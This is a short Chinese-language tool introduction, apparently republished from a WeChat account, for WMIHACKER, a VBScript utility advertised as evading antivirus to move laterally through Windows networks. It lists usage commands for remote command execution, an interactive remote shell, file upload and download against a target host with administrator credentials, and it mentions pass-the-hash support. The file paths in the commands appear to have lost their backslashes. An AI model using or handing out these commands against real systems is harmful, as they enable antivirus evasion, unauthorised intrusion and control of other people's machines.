===================================
0x01 工具介绍
免杀横向渗透远程命令执行,常见的WMIEXEC、PSEXEC执行命令是创建服务或调用Win32_Process.create执行命令,这些方式都已经被杀软100%拦截,通过改造出WMIHACKER免杀横向移动测试工具。(无需445端口)主要功能:1、命令执行;2、文件上传;3、文件下载;4、PTH使用
0x02 安装与使用
cscript WMIHACKER_0.6.vbs /cmd 172.16.94.187 administrator
"Password!"
"systeminfo"
1
2、无命令回显
cscript WMIHACKER_0.6.vbs /cmd 172.16.94.187 administrator
"Password!"
"systeminfo > c:1.txt"
0
3、模拟shell模式
cscript WMIHACKER_0.6.vbs /shell 172.16.94.187 administrator
"Password!"
4、文件上传-复制本机calc.exe到远程主机c:calc.exe
cscript wmihacker_0.4.vbe /upload 172.16.94.187 administrator
"Password!"
"c:windowssystem32calc.exe"
"c:calc"
5、文件下载-下载远程主机calc.exe到本地c:calc.exe
cscript wmihacker_0.4.vbe /download 172.16.94.187 administrator
"Password!"
"c:calc"
"c:windowssystem32calc.exe"
0x03 项目链接下载
原文始发于微信公众号(网络安全者):免杀横向移动命令执行测试工具 -- WMIHACKER
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论